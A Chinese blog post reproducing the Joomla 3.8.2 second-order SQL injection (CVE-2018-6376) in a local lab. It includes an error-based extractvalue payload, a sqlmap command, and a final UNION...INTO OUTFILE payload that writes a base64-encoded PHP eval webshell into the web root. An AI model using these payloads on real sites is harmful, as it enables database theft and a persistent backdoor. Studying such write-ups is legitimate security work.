SQL二阶注入写shell问题——Joomla3.8.2漏洞为例

开始前的例行叨叨:

参考大佬文章 http://www.sohu.com/a/223945381_354899

发现仅到报错注入一步就没了下文,记录一下最终写马的姿势。


复现过程:

Joomla官网特别良心,各种历史版本随便下载

由于复现CVE-2018-6376漏洞,所以下载了3.8.2版本,一路安装好。


由于注入点在用户后台,改资料时,复现必须允许用户注册,而且能进自己后台。

所以网站建好先用admin账户进后台/administrator/,左边User面板,右上角options设置一下。

设置如下:

SQL二阶注入写shell问题——Joomla3.8.2漏洞为例_第1张图片

按我的调整,

第一项是允许注册新用户;

第二项设新用户到Manager组中,好进后台。

之后New User Account Activation选成了None也就是注册后,不需要邮箱和管理员验证。

记得点左上角的Save保存。


如果不设置这些,会没有会员注册,而且注册的时候通过不了。

设置完再去主页注册用户test1,可能报错,但可以尝试登陆成功。

用test1用户进入后台/administrator/

在右上角找到编辑个人信息

SQL二阶注入写shell问题——Joomla3.8.2漏洞为例_第2张图片

直接save的时候burp抓包。


注入点在这行:

SQL二阶注入写shell问题——Joomla3.8.2漏洞为例_第3张图片

在admin_style]后加[0]往其第一个数组中写入一个单引号'

SQL二阶注入写shell问题——Joomla3.8.2漏洞为例_第4张图片

提交后,刷新/administrator/index.php页面

而不是跟着303跳转。


在主页即可发现报错结果,把单引号处改为payload:

extractvalue(0x0a,concat(0x0a,(select user())))

即可发现,报错回显了数据库root账户



漏洞成因

一直没分析源码漏洞是如何导致的,因为不是本次重点,放个图吧。

SQL二阶注入写shell问题——Joomla3.8.2漏洞为例_第5张图片

可以看出来47行形成sql语句的时候,直接把$adminstyle[0]的值插入了语句。构成了where id = xxx 还是数字型不用补单引号



如何GetShell?

参考资料里大神用了sqlmap进行二阶注入

把Burp的内容保存成txt读取进行注入,获取回显页面设为了/administrator/index.php

sqlmap -r 1.txt –dbms MySQL –second-order “http://127.0.0.1/CMS/joomla/administrator/index.php” -D “joomla” –dbs

但我们希望getshell就尝试往其中写小马。



写小马的那些坑(敲重点!)

正常写小马姿势是 select 'xxx小马xxxx' into outfile '绝对路径'

但问题来了:

【1】回显报错中写select "xxxx" into outfile 'C:/xxxx'是不行的,必须直接执行。不能在extractvalue函数中写


【2】看了源码发现前面是 where id = 注入点   那采用姿势:

-1 union select '' into outfile 'c:/wamp/www/CMS/joomla/xd.php'-- 

结果发现不行,因为<字符写不进去,原因不明,可能是过滤。


【3】切记,MySQL写入文件,文件名一定不能存在!!!存在就不给写了


【4】二阶注入里,burp提交完payload,刷新/administrator/index.php才会生效


【5】所以应该把小马base64编码一下再写入。MySQL5.x以后会有内置函数from_base64('xxx')可以解码。

最终姿势:

-1 union select from_base64('PD9waHAgZXZhbCgkX1BPU1RbeGRdKTsgPz4=') into outfile 'c:/wamp/www/CMS/joomla/xd.php'-- 


你可能感兴趣的:(joomla,二阶注入,写shell)